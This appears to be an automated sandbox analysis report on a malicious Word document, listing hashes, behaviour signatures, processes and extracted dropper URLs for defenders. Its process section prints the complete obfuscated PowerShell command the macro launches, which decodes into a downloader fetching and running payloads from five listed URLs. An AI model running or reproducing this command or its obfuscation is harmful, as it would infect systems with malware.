Analysis

  • max time kernel
    134s
  • max time network
    131s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 21:31

General

  • Target

    7351205f71125258a6471472f1245705_JaffaCakes118.doc

  • Size

    220KB

  • MD5

    7351205f71125258a6471472f1245705

  • SHA1

    7daec149ada7a834bb5f2a6fa32ee83220d604d9

  • SHA256

    b9329e47e32e0ba208f78b2b9d4909cc0203c119e08866274af455abe7d8cb42

  • SHA512

    af24b2c193173cf2893a63b8b531f514def38891367d8d1b588b02dc780ab42ea5f57beebb52019155daa2aaa0eb4264acea313451424874429046b278f3faa9

  • SSDEEP

    3072:3H9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5LyXJm9YBmjDFhNw9l5wA:3FVeEsjdXRC3jexGG6YYWofFh29l5wA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.advokat-sng.com/blog/XjdeGu/

exe.dropper

http://www.dokassessoria.com.br/cCeI3/

exe.dropper

http://www.interfrazao.com.br/Zgv18b/

exe.dropper

http://www.pdt-pinsk.by/TnbKOKYF/

exe.dropper

http://www.audity.mx/Q/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7351205f71125258a6471472f1245705_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [STRING]::jOIn( '' ,( '8>79z65{69}17!66>73z91}1!67{78&70o73&79z88f12!98!73{88v2o123&73}78t111>64f69v73>66}88t23!8}86&111t127v17&11z68z88}88}92&22f3f3v91v91f91v2!77{72{90f67!71f77{88&1!95v66f75&2t79!67z65{3o78>64f67t75&3f116t70!72v73!107>89!3f108t68v88o88&92}22f3o3v91>91!91{2o72}67{71o77o95t95{73}95&95f67{94v69o77}2{79v67z65t2}78>94{3v79z111f73>101t31{3f108t68{88o88{92t22o3z3&91!91t91}2{69z66&88f73z94z74>94o77z86}77>67}2!79z67v65&2t78>94z3v118o75{90z29&20&78f3f108f68&88{88v92o22t3f3&91}91>91o2o92}72}88!1>92&69f66>95{71}2!78o85f3v120{66&78{103{99{103f117!106v3z108!68t88&88&92>22}3}3v91}91t91}2f77v89z72&69{88v85>2v65!84o3o125v3&11v2!127t92o64t69v88>4&11{108{11o5&23v8t120{91!121{12}17z12{11&21>20o30}11}23}8{72v109!104&17>8v73o66v90>22}88!73!65z92{7}11}112v11}7z8&120&91t121}7{11&2v73t84o73{11!23t74f67v94t73}77t79}68>4{8t94}64f110!12}69&66{12&8z86t111o127!5!87f88>94f85>87o8{79>65{69o2{104t67t91v66{64{67f77&72f106v69!64{73z4z8o94}64f110&0>12t8v72{109&104t5!23}127}88f77v94v88>1t124v94o67t79z73v95{95&12f8v72>109f104f23v78>94z73!77o71f23f81t79t77}88&79f68>87z81z81'.SpLit('t{v}&z>!fo' ) | foreaCh {[CHaR] ($_ -bXOr '0x2C' )} )) | &( $VerboSEprEFeReNcE.tOstRIng()[1,3]+'X'-JoiN'')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3992

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD80CF.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pem13imz.lyn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3032-15-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-11-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-5-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-28-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-6-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-7-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-9-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-31-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-10-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-12-0x00007FFBD3FE0000-0x00007FFBD3FF0000-memory.dmp

    Filesize

    64KB

  • memory/3032-8-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-13-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-14-0x00007FFBD3FE0000-0x00007FFBD3FF0000-memory.dmp

    Filesize

    64KB

  • memory/3032-559-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-2-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-30-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-0-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-4-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-16-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-3-0x00007FFC162CD000-0x00007FFC162CE000-memory.dmp

    Filesize

    4KB

  • memory/3032-556-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-51-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-52-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-1-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-530-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-531-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3032-558-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-557-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3032-555-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp

    Filesize

    64KB

  • memory/3992-535-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3992-532-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB

  • memory/3992-38-0x000001D536220000-0x000001D536242000-memory.dmp

    Filesize

    136KB

  • memory/3992-35-0x00007FFC16230000-0x00007FFC16425000-memory.dmp

    Filesize

    2.0MB